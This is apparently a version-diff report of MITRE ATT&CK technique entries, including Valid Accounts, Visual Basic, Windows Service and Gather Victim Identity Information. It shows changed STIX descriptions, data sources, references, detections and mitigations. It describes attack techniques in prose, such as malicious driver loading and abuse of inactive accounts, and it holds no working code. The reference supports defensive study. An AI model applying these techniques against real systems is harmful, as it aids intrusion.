While [User Execution](https://attack.mitre.org/techniques/T1204) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534). | An adversary may rely upon specific actions by a user in order to gain execution. Users may be subjected to social engineering to get them to execute malicious code by, for example, opening a malicious document file or link. These user actions will typically be observed as follow-on behavior from forms of [Phishing](https://attack.mitre.org/techniques/T1566).
While [User Execution](https://attack.mitre.org/techniques/T1204) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534).
Adversaries may also deceive users into performing actions such as enabling [Remote Access Software](https://attack.mitre.org/techniques/T1219), allowing direct control of the system to the adversary, or downloading and executing malware for [User Execution](https://attack.mitre.org/techniques/T1204). For example, tech support scams can be facilitated through [Phishing](https://attack.mitre.org/techniques/T1566), vishing, or various forms of user interaction. Adversaries can use a combination of these methods, such as spoofing and promoting toll-free numbers or call centers that are used to direct victims to malicious websites, to deliver and execute payloads containing malware or [Remote Access Software](https://attack.mitre.org/techniques/T1219).(Citation: Telephone Attack Delivery) |
| x_mitre_data_sources[1] | Instance: Instance Start | Command: Command Execution |
| x_mitre_data_sources[2] | Instance: Instance Creation | Instance: Instance Start |
| x_mitre_data_sources[3] | Image: Image Creation | Container: Container Creation |
| x_mitre_data_sources[4] | Command: Command Execution | Image: Image Creation |
| x_mitre_data_sources[5] | Container: Container Start | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[6] | Container: Container Creation | Process: Process Creation |
| x_mitre_data_sources[7] | Network Traffic: Network Connection Creation | Instance: Instance Creation |
| x_mitre_data_sources[8] | Network Traffic: Network Traffic Content | Network Traffic: Network Connection Creation |
| x_mitre_data_sources[10] | Process: Process Creation | Container: Container Start |
| x_mitre_version | 1.4 | 1.5 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'Telephone Attack Delivery', 'description': 'Selena Larson, Sam Scholten, Timothy Kromphardt. (2021, November 4). Caught Beneath the Landline: A 411 on Telephone Oriented Attack Delivery. Retrieved January 5, 2022.', 'url': 'https://www.proofpoint.com/us/blog/threat-insight/caught-beneath-landline-411-telephone-oriented-attack-delivery'} |
[T1078] Valid Accounts
Current version: 2.4
Version changed from: 2.3 → 2.4
|
|
|---|
| t | Adversaries may obtain and abuse credentials of existing acc | t | Adversaries may obtain and abuse credentials of existing acc |
| ounts as a means of gaining Initial Access, Persistence, Pri | | ounts as a means of gaining Initial Access, Persistence, Pri |
| vilege Escalation, or Defense Evasion. Compromised credentia | | vilege Escalation, or Defense Evasion. Compromised credentia |
| ls may be used to bypass access controls placed on various r | | ls may be used to bypass access controls placed on various r |
| esources on systems within the network and may even be used | | esources on systems within the network and may even be used |
| for persistent access to remote systems and externally avail | | for persistent access to remote systems and externally avail |
| able services, such as VPNs, Outlook Web Access and remote d | | able services, such as VPNs, Outlook Web Access and remote d |
| esktop. Compromised credentials may also grant an adversary | | esktop. Compromised credentials may also grant an adversary |
| increased privilege to specific systems or access to restric | | increased privilege to specific systems or access to restric |
| ted areas of the network. Adversaries may choose not to use | | ted areas of the network. Adversaries may choose not to use |
| malware or tools in conjunction with the legitimate access t | | malware or tools in conjunction with the legitimate access t |
| hose credentials provide to make it harder to detect their p | | hose credentials provide to make it harder to detect their p |
| resence. The overlap of permissions for local, domain, and | | resence. In some cases, adversaries may abuse inactive acco |
| cloud accounts across a network of systems is of concern bec | | unts: for example, those belonging to individuals who are no |
| ause the adversary may be able to pivot across accounts and | | longer part of an organization. Using these accounts may al |
| systems to reach a high level of access (i.e., domain or ent | | low the adversary to evade detection, as the original accoun |
| erprise administrator) to bypass access controls set within | | t user will not be present to identify any anomalous activit |
| the enterprise. (Citation: TechNet Credential Theft) | | y taking place on their account.(Citation: CISA MFA PrintNig |
| | | htmare) The overlap of permissions for local, domain, and c |
| | | loud accounts across a network of systems is of concern beca |
| | | use the adversary may be able to pivot across accounts and s |
| | | ystems to reach a high level of access (i.e., domain or ente |
| | | rprise administrator) to bypass access controls set within t |
| | | he enterprise.(Citation: TechNet Credential Theft) |
New Mitigations:
- M1018: User Account Management
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_is_subtechnique | False | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-19 03:29:48.018000+00:00 | 2022-04-01 15:20:44.039000+00:00 |
| description | Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
The overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise. (Citation: TechNet Credential Theft) | Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
In some cases, adversaries may abuse inactive accounts: for example, those belonging to individuals who are no longer part of an organization. Using these accounts may allow the adversary to evade detection, as the original account user will not be present to identify any anomalous activity taking place on their account.(Citation: CISA MFA PrintNightmare)
The overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise.(Citation: TechNet Credential Theft) |
| external_references[2]['source_name'] | TechNet Credential Theft | CISA MFA PrintNightmare |
| external_references[2]['description'] | Microsoft. (2016, April 15). Attractive Accounts for Credential Theft. Retrieved June 3, 2016. | Cybersecurity and Infrastructure Security Agency. (2022, March 15). Russian State-Sponsored Cyber Actors Gain Network Access by Exploiting Default Multifactor Authentication Protocols and “PrintNightmare” Vulnerability. Retrieved March 16, 2022. |
| external_references[2]['url'] | https://technet.microsoft.com/en-us/library/dn535501.aspx | https://www.cisa.gov/uscert/ncas/alerts/aa22-074a |
| external_references[3]['source_name'] | TechNet Audit Policy | TechNet Credential Theft |
| external_references[3]['description'] | Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016. | Microsoft. (2016, April 15). Attractive Accounts for Credential Theft. Retrieved June 3, 2016. |
| external_references[3]['url'] | https://technet.microsoft.com/en-us/library/dn487457.aspx | https://technet.microsoft.com/en-us/library/dn535501.aspx |
| x_mitre_detection | Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services. (Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).
Perform regular audits of domain and local system accounts to detect accounts that may have been created by an adversary for persistence. Checks on these accounts could also include whether default accounts such as Guest have been activated. These audits should also include checks on any appliances and applications for default credentials or SSH keys, and if any are discovered, they should be updated immediately. | Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).
Perform regular audits of domain and local system accounts to detect accounts that may have been created by an adversary for persistence. Checks on these accounts could also include whether default accounts such as Guest have been activated. These audits should also include checks on any appliances and applications for default credentials or SSH keys, and if any are discovered, they should be updated immediately. |
| x_mitre_version | 2.3 | 2.4 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'TechNet Audit Policy', 'description': 'Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016.', 'url': 'https://technet.microsoft.com/en-us/library/dn487457.aspx'} |
| x_mitre_contributors | | Syed Ummar Farooqh, McAfee |
| x_mitre_contributors | | Prasad Somasamudram, McAfee |
| x_mitre_contributors | | Sekhar Sarukkai, McAfee |
[T1125] Video Capture
Current version: 1.1
Version changed from: 1.0 → 1.1
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_is_subtechnique | False | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-07-14 19:40:47.644000+00:00 | 2022-03-15 20:06:04.793000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | | Linux |
[T1059.005] Command and Scripting Interpreter: Visual Basic
Current version: 1.3
Version changed from: 1.2 → 1.3
|
|
|---|
| t | Adversaries may abuse Visual Basic (VB) for execution. VB is | t | Adversaries may abuse Visual Basic (VB) for execution. VB is |
| a programming language created by Microsoft with interopera | | a programming language created by Microsoft with interopera |
| bility with many Windows technologies such as [Component Obj | | bility with many Windows technologies such as [Component Obj |
| ect Model](https://attack.mitre.org/techniques/T1559/001) an | | ect Model](https://attack.mitre.org/techniques/T1559/001) an |
| d the [Native API](https://attack.mitre.org/techniques/T1106 | | d the [Native API](https://attack.mitre.org/techniques/T1106 |
| ) through the Windows API. Although tagged as legacy with no | | ) through the Windows API. Although tagged as legacy with no |
| planned future evolutions, VB is integrated and supported i | | planned future evolutions, VB is integrated and supported i |
| n the .NET Framework and cross-platform .NET Core.(Citation: | | n the .NET Framework and cross-platform .NET Core.(Citation: |
| VB .NET Mar 2020)(Citation: VB Microsoft) Derivative langu | | VB .NET Mar 2020)(Citation: VB Microsoft) Derivative langu |
| ages based on VB have also been created, such as Visual Basi | | ages based on VB have also been created, such as Visual Basi |
| c for Applications (VBA) and VBScript. VBA is an event-drive | | c for Applications (VBA) and VBScript. VBA is an event-drive |
| n programming language built into Microsoft Office, as well | | n programming language built into Microsoft Office, as well |
| as several third-party applications.(Citation: Microsoft VBA | | as several third-party applications.(Citation: Microsoft VBA |
| )(Citation: Wikipedia VBA) VBA enables documents to contain | | )(Citation: Wikipedia VBA) VBA enables documents to contain |
| macros used to automate the execution of tasks and other fun | | macros used to automate the execution of tasks and other fun |
| ctionality on the host. VBScript is a default scripting lang | | ctionality on the host. VBScript is a default scripting lang |
| uage on Windows hosts and can also be used in place of [Java | | uage on Windows hosts and can also be used in place of [Java |
| Script](https://attack.mitre.org/techniques/T1059/007) on HT | | Script](https://attack.mitre.org/techniques/T1059/007) on HT |
| ML Application (HTA) webpages served to Internet Explorer (t | | ML Application (HTA) webpages served to Internet Explorer (t |
| hough most modern browsers do not come with VBScript support | | hough most modern browsers do not come with VBScript support |
| ).(Citation: Microsoft VBScript) Adversaries may use VB pay | | ).(Citation: Microsoft VBScript) Adversaries may use VB pay |
| loads to execute malicious commands. Common malicious usage | | loads to execute malicious commands. Common malicious usage |
| includes automating execution of behaviors with VBScript or | | includes automating execution of behaviors with VBScript or |
| embedding VBA content into [Spearphishing Attachment](https: | | embedding VBA content into [Spearphishing Attachment](https: |
| //attack.mitre.org/techniques/T1566/001) payloads. | | //attack.mitre.org/techniques/T1566/001) payloads (which may |
| | | also involve [Mark-of-the-Web Bypass](https://attack.mitre. |
| | | org/techniques/T1553/005) to enable execution).(Citation: De |
| | | fault VBS macros Blocking ) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-08-16 21:03:21.051000+00:00 | 2022-03-07 19:43:49.315000+00:00 |
| description | Adversaries may abuse Visual Basic (VB) for execution. VB is a programming language created by Microsoft with interoperability with many Windows technologies such as [Component Object Model](https://attack.mitre.org/techniques/T1559/001) and the [Native API](https://attack.mitre.org/techniques/T1106) through the Windows API. Although tagged as legacy with no planned future evolutions, VB is integrated and supported in the .NET Framework and cross-platform .NET Core.(Citation: VB .NET Mar 2020)(Citation: VB Microsoft)
Derivative languages based on VB have also been created, such as Visual Basic for Applications (VBA) and VBScript. VBA is an event-driven programming language built into Microsoft Office, as well as several third-party applications.(Citation: Microsoft VBA)(Citation: Wikipedia VBA) VBA enables documents to contain macros used to automate the execution of tasks and other functionality on the host. VBScript is a default scripting language on Windows hosts and can also be used in place of [JavaScript](https://attack.mitre.org/techniques/T1059/007) on HTML Application (HTA) webpages served to Internet Explorer (though most modern browsers do not come with VBScript support).(Citation: Microsoft VBScript)
Adversaries may use VB payloads to execute malicious commands. Common malicious usage includes automating execution of behaviors with VBScript or embedding VBA content into [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) payloads. | Adversaries may abuse Visual Basic (VB) for execution. VB is a programming language created by Microsoft with interoperability with many Windows technologies such as [Component Object Model](https://attack.mitre.org/techniques/T1559/001) and the [Native API](https://attack.mitre.org/techniques/T1106) through the Windows API. Although tagged as legacy with no planned future evolutions, VB is integrated and supported in the .NET Framework and cross-platform .NET Core.(Citation: VB .NET Mar 2020)(Citation: VB Microsoft)
Derivative languages based on VB have also been created, such as Visual Basic for Applications (VBA) and VBScript. VBA is an event-driven programming language built into Microsoft Office, as well as several third-party applications.(Citation: Microsoft VBA)(Citation: Wikipedia VBA) VBA enables documents to contain macros used to automate the execution of tasks and other functionality on the host. VBScript is a default scripting language on Windows hosts and can also be used in place of [JavaScript](https://attack.mitre.org/techniques/T1059/007) on HTML Application (HTA) webpages served to Internet Explorer (though most modern browsers do not come with VBScript support).(Citation: Microsoft VBScript)
Adversaries may use VB payloads to execute malicious commands. Common malicious usage includes automating execution of behaviors with VBScript or embedding VBA content into [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) payloads (which may also involve [Mark-of-the-Web Bypass](https://attack.mitre.org/techniques/T1553/005) to enable execution).(Citation: Default VBS macros Blocking ) |
| x_mitre_data_sources[0] | Command: Command Execution | Script: Script Execution |
| x_mitre_data_sources[1] | Process: Process Creation | Command: Command Execution |
| x_mitre_data_sources[3] | Script: Script Execution | Process: Process Creation |
| x_mitre_version | 1.2 | 1.3 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'Default VBS macros Blocking ', 'description': 'Kellie Eickmeyer. (2022, February 7). Helping users stay safe: Blocking internet macros by default in Office. Retrieved February 7, 2022.', 'url': 'https://techcommunity.microsoft.com/t5/microsoft-365-blog/helping-users-stay-safe-blocking-internet-macros-by-default-in/ba-p/3071805'} |
[T1543.003] Create or Modify System Process: Windows Service
Current version: 1.2
Version changed from: 1.1 → 1.2
|
|
|---|
| t | Adversaries may create or modify Windows services to repeate | t | Adversaries may create or modify Windows services to repeate |
| dly execute malicious payloads as part of persistence. When | | dly execute malicious payloads as part of persistence. When |
| Windows boots up, it starts programs or applications called | | Windows boots up, it starts programs or applications called |
| services that perform background system functions.(Citation: | | services that perform background system functions.(Citation: |
| TechNet Services) Windows service configuration information | | TechNet Services) Windows service configuration information |
| , including the file path to the service's executable or rec | | , including the file path to the service's executable or rec |
| overy programs/commands, is stored in the Windows Registry. | | overy programs/commands, is stored in the Windows Registry. |
| Service configurations can be modified using utilities such | | Adversaries may install a new service or modify an existing |
| as sc.exe and [Reg](https://attack.mitre.org/software/S0075) | | service to execute at startup in order to persist on a syst |
| . Adversaries may install a new service or modify an exist | | em. Service configurations can be set or modified using syst |
| ing service by using system utilities to interact with servi | | em utilities (such as sc.exe), by directly modifying the Reg |
| ces, by directly modifying the Registry, or by using custom | | istry, or by interacting directly with the Windows API. Ad |
| tools to interact with the Windows API. Adversaries may conf | | versaries may also use services to install and execute malic |
| igure services to execute at startup in order to persist on | | ious drivers. For example, after dropping a driver file (ex: |
| a system. An adversary may also incorporate [Masquerading]( | | `.sys`) to disk, the payload can be loaded and registered v |
| https://attack.mitre.org/techniques/T1036) by using a servic | | ia [Native API](https://attack.mitre.org/techniques/T1106) f |
| e name from a related operating system or benign software, o | | unctions such as `CreateServiceW()` (or manually via functio |
| r by modifying existing services to make detection analysis | | ns such as `ZwLoadDriver()` and `ZwSetValueKey()`), by creat |
| more challenging. Modifying existing services may interrupt | | ing the required service Registry values (i.e. [Modify Regis |
| their functionality or may enable services that are disabled | | try](https://attack.mitre.org/techniques/T1112)), or by usin |
| or otherwise not commonly used. Services may be created w | | g command-line utilities such as `PnPUtil.exe`.(Citation: Sy |
| ith administrator privileges but are executed under SYSTEM p | | mantec W.32 Stuxnet Dossier)(Citation: Crowdstrike DriveSlay |
| rivileges, so an adversary may also use a service to escalat | | er February 2022)(Citation: Unit42 AcidBox June 2020) Advers |
| e privileges from administrator to SYSTEM. Adversaries may a | | aries may leverage these drivers as [Rootkit](https://attack |
| lso directly start services through [Service Execution](http | | .mitre.org/techniques/T1014)s to hide the presence of malici |
| s://attack.mitre.org/techniques/T1569/002). | | ous activity on a system. Adversaries may also load a signed |
| | | yet vulnerable driver onto a compromised machine (known as |
| | | "Bring Your Own Vulnerable Driver" (BYOVD)) as part of [Expl |
| | | oitation for Privilege Escalation](https://attack.mitre.org/ |
| | | techniques/T1068).(Citation: ESET InvisiMole June 2020)(Cita |
| | | tion: Unit42 AcidBox June 2020) Services may be created wit |
| | | h administrator privileges but are executed under SYSTEM pri |
| | | vileges, so an adversary may also use a service to escalate |
| | | privileges. Adversaries may also directly start services thr |
| | | ough [Service Execution](https://attack.mitre.org/techniques |
| | | /T1569/002). To make detection analysis more challenging, ma |
| | | licious services may also incorporate [Masquerade Task or Se |
| | | rvice](https://attack.mitre.org/techniques/T1036/004) (ex: u |
| | | sing a service and/or payload name related to a legitimate O |
| | | S or benign software component). |
New Mitigations:
- M1028: Operating System Configuration
- M1040: Behavior Prevention on Endpoint
- M1045: Code Signing
New Detections:
- DS0027: Driver (Driver Load)
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| external_references | | Hardy, T. & Hall, J. (2018, February 15). Use Windows Event Forwarding to help with intrusion detection. Retrieved August 7, 2018. |
| external_references | | Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020. |
| external_references | | Microsoft. (n.d.). Services. Retrieved June 7, 2016. |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| external_references | CAPEC-478 | |
| external_references | CAPEC-550 | |
| external_references | CAPEC-551 | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-09-16 15:49:58.490000+00:00 | 2022-04-20 14:38:44.247000+00:00 |
| description | Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.(Citation: TechNet Services) Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry. Service configurations can be modified using utilities such as sc.exe and [Reg](https://attack.mitre.org/software/S0075).
Adversaries may install a new service or modify an existing service by using system utilities to interact with services, by directly modifying the Registry, or by using custom tools to interact with the Windows API. Adversaries may configure services to execute at startup in order to persist on a system.
An adversary may also incorporate [Masquerading](https://attack.mitre.org/techniques/T1036) by using a service name from a related operating system or benign software, or by modifying existing services to make detection analysis more challenging. Modifying existing services may interrupt their functionality or may enable services that are disabled or otherwise not commonly used.
Services may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges from administrator to SYSTEM. Adversaries may also directly start services through [Service Execution](https://attack.mitre.org/techniques/T1569/002). | Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.(Citation: TechNet Services) Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Adversaries may install a new service or modify an existing service to execute at startup in order to persist on a system. Service configurations can be set or modified using system utilities (such as sc.exe), by directly modifying the Registry, or by interacting directly with the Windows API.
Adversaries may also use services to install and execute malicious drivers. For example, after dropping a driver file (ex: `.sys`) to disk, the payload can be loaded and registered via [Native API](https://attack.mitre.org/techniques/T1106) functions such as `CreateServiceW()` (or manually via functions such as `ZwLoadDriver()` and `ZwSetValueKey()`), by creating the required service Registry values (i.e. [Modify Registry](https://attack.mitre.org/techniques/T1112)), or by using command-line utilities such as `PnPUtil.exe`.(Citation: Symantec W.32 Stuxnet Dossier)(Citation: Crowdstrike DriveSlayer February 2022)(Citation: Unit42 AcidBox June 2020) Adversaries may leverage these drivers as [Rootkit](https://attack.mitre.org/techniques/T1014)s to hide the presence of malicious activity on a system. Adversaries may also load a signed yet vulnerable driver onto a compromised machine (known as "Bring Your Own Vulnerable Driver" (BYOVD)) as part of [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).(Citation: ESET InvisiMole June 2020)(Citation: Unit42 AcidBox June 2020)
Services may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges. Adversaries may also directly start services through [Service Execution](https://attack.mitre.org/techniques/T1569/002). To make detection analysis more challenging, malicious services may also incorporate [Masquerade Task or Service](https://attack.mitre.org/techniques/T1036/004) (ex: using a service and/or payload name related to a legitimate OS or benign software component). |
| external_references[1]['source_name'] | capec | Microsoft Windows Event Forwarding FEB 2018 |
| external_references[1]['url'] | https://capec.mitre.org/data/definitions/478.html | https://docs.microsoft.com/windows/security/threat-protection/use-windows-event-forwarding-to-assist-in-intrusion-detection |
| external_references[2]['source_name'] | capec | ESET InvisiMole June 2020 |
| external_references[2]['url'] | https://capec.mitre.org/data/definitions/550.html | https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf |
| external_references[3]['source_name'] | capec | TechNet Services |
| external_references[3]['url'] | https://capec.mitre.org/data/definitions/551.html | https://technet.microsoft.com/en-us/library/cc772408.aspx |
| external_references[4]['source_name'] | TechNet Services | Microsoft 4697 APR 2017 |
| external_references[4]['description'] | Microsoft. (n.d.). Services. Retrieved June 7, 2016. | Miroshnikov, A. & Hall, J. (2017, April 18). 4697(S): A service was installed in the system. Retrieved August 7, 2018. |
| external_references[4]['url'] | https://technet.microsoft.com/en-us/library/cc772408.aspx | https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4697 |
| external_references[5]['source_name'] | TechNet Autoruns | Symantec W.32 Stuxnet Dossier |
| external_references[5]['description'] | Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016. | Nicolas Falliere, Liam O. Murchu, Eric Chien. (2011, February). W32.Stuxnet Dossier. Retrieved December 7, 2020. |
| external_references[5]['url'] | https://technet.microsoft.com/en-us/sysinternals/bb963902 | https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf |
| external_references[6]['source_name'] | Microsoft 4697 APR 2017 | Unit42 AcidBox June 2020 |
| external_references[6]['description'] | Miroshnikov, A. & Hall, J. (2017, April 18). 4697(S): A service was installed in the system. Retrieved August 7, 2018. | Reichel, D. and Idrizovic, E. (2020, June 17). AcidBox: Rare Malware Repurposing Turla Group Exploit Targeted Russian Organizations. Retrieved March 16, 2021. |
| external_references[6]['url'] | https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4697 | https://unit42.paloaltonetworks.com/acidbox-rare-malware/ |
| external_references[7]['source_name'] | Microsoft Windows Event Forwarding FEB 2018 | TechNet Autoruns |
| external_references[7]['description'] | Hardy, T. & Hall, J. (2018, February 15). Use Windows Event Forwarding to help with intrusion detection. Retrieved August 7, 2018. | Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016. |
| external_references[7]['url'] | https://docs.microsoft.com/windows/security/threat-protection/use-windows-event-forwarding-to-assist-in-intrusion-detection | https://technet.microsoft.com/en-us/sysinternals/bb963902 |
| x_mitre_contributors[1] | Travis Smith, Tripwire | Pedro Harrison |
| x_mitre_contributors[2] | Pedro Harrison | Mayuresh Dani, Qualys |
| x_mitre_data_sources[1] | Service: Service Modification | Command: Command Execution |
| x_mitre_data_sources[2] | Process: Process Creation | Process: OS API Execution |
| x_mitre_data_sources[3] | Process: OS API Execution | Driver: Driver Load |
| x_mitre_data_sources[4] | Command: Command Execution | Windows Registry: Windows Registry Key Modification |
| x_mitre_data_sources[5] | Windows Registry: Windows Registry Key Creation | Service: Service Modification |
| x_mitre_data_sources[6] | Windows Registry: Windows Registry Key Modification | Process: Process Creation |
| x_mitre_version | 1.1 | 1.2 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'Crowdstrike DriveSlayer February 2022', 'description': 'Thomas, W. et al. (2022, February 25). CrowdStrike Falcon Protects from New Wiper Malware Used in Ukraine Cyberattacks. Retrieved March 25, 2022.', 'url': 'https://www.crowdstrike.com/blog/how-crowdstrike-falcon-protects-against-wiper-malware-used-in-ukraine-attacks/'} |
| external_references | | {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/478.html', 'external_id': 'CAPEC-478'} |
| external_references | | {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/550.html', 'external_id': 'CAPEC-550'} |
| external_references | | {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/551.html', 'external_id': 'CAPEC-551'} |
| x_mitre_contributors | | Wietze Beukema, @wietze |
| x_mitre_contributors | | Akshat Pradhan, Qualys |
| x_mitre_data_sources | | Windows Registry: Windows Registry Key Creation |
Other Version Changes
[T1203] Exploitation for Client Execution
Current version: 1.4
Version changed from: 1.2 → 1.4
New Detections:
- DS0009: Process (Process Creation)
- DS0015: Application Log (Application Log Content)
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_data_sources | | ['Process: Process Creation', 'Application Log: Application Log Content'] |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-15 19:01:34.932000+00:00 | 2022-04-18 18:48:06.141000+00:00 |
| x_mitre_version | 1.2 | 1.4 |
[T1589] Gather Victim Identity Information
Current version: 1.2
Version changed from: 1.0 → 1.2
|
|
|---|
| t | Adversaries may gather information about the victim's identi | t | Adversaries may gather information about the victim's identi |
| ty that can be used during targeting. Information about iden | | ty that can be used during targeting. Information about iden |
| tities may include a variety of details, including personal | | tities may include a variety of details, including personal |
| data (ex: employee names, email addresses, etc.) as well as | | data (ex: employee names, email addresses, etc.) as well as |
| sensitive details such as credentials. Adversaries may gath | | sensitive details such as credentials. Adversaries may gath |
| er this information in various ways, such as direct elicitat | | er this information in various ways, such as direct elicitat |
| ion via [Phishing for Information](https://attack.mitre.org/ | | ion via [Phishing for Information](https://attack.mitre.org/ |
| techniques/T1598). Information about victims may also be exp | | techniques/T1598). Information about users could also be enu |
| osed to adversaries via online or other accessible data sets | | merated via other active means (i.e. [Active Scanning](https |
| (ex: [Social Media](https://attack.mitre.org/techniques/T15 | | ://attack.mitre.org/techniques/T1595)) such as probing and a |
| 93/001) or [Search Victim-Owned Websites](https://attack.mit | | nalyzing responses from authentication services that may rev |
| re.org/techniques/T1594)).(Citation: OPM Leak)(Citation: Reg | | eal valid usernames in a system.(Citation: GrimBlog Username |
| ister Deloitte)(Citation: Register Uber)(Citation: Detectify | | Enum) Information about victims may also be exposed to adver |
| Slack Tokens)(Citation: Forbes GitHub Creds)(Citation: GitH | | saries via online or other accessible data sets (ex: [Social |
| ub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks | | Media](https://attack.mitre.org/techniques/T1593/001) or [S |
| ) Gathering this information may reveal opportunities for ot | | earch Victim-Owned Websites](https://attack.mitre.org/techni |
| her forms of reconnaissance (ex: [Search Open Websites/Domai | | ques/T1594)).(Citation: OPM Leak)(Citation: Register Deloitt |
| ns](https://attack.mitre.org/techniques/T1593) or [Phishing | | e)(Citation: Register Uber)(Citation: Detectify Slack Tokens |
| for Information](https://attack.mitre.org/techniques/T1598)) | | )(Citation: Forbes GitHub Creds)(Citation: GitHub truffleHog |
| , establishing operational resources (ex: [Compromise Accoun | | )(Citation: GitHub Gitrob)(Citation: CNET Leaks) Gathering |
| ts](https://attack.mitre.org/techniques/T1586)), and/or init | | this information may reveal opportunities for other forms of |
| ial access (ex: [Phishing](https://attack.mitre.org/techniqu | | reconnaissance (ex: [Search Open Websites/Domains](https:// |
| es/T1566) or [Valid Accounts](https://attack.mitre.org/techn | | attack.mitre.org/techniques/T1593) or [Phishing for Informat |
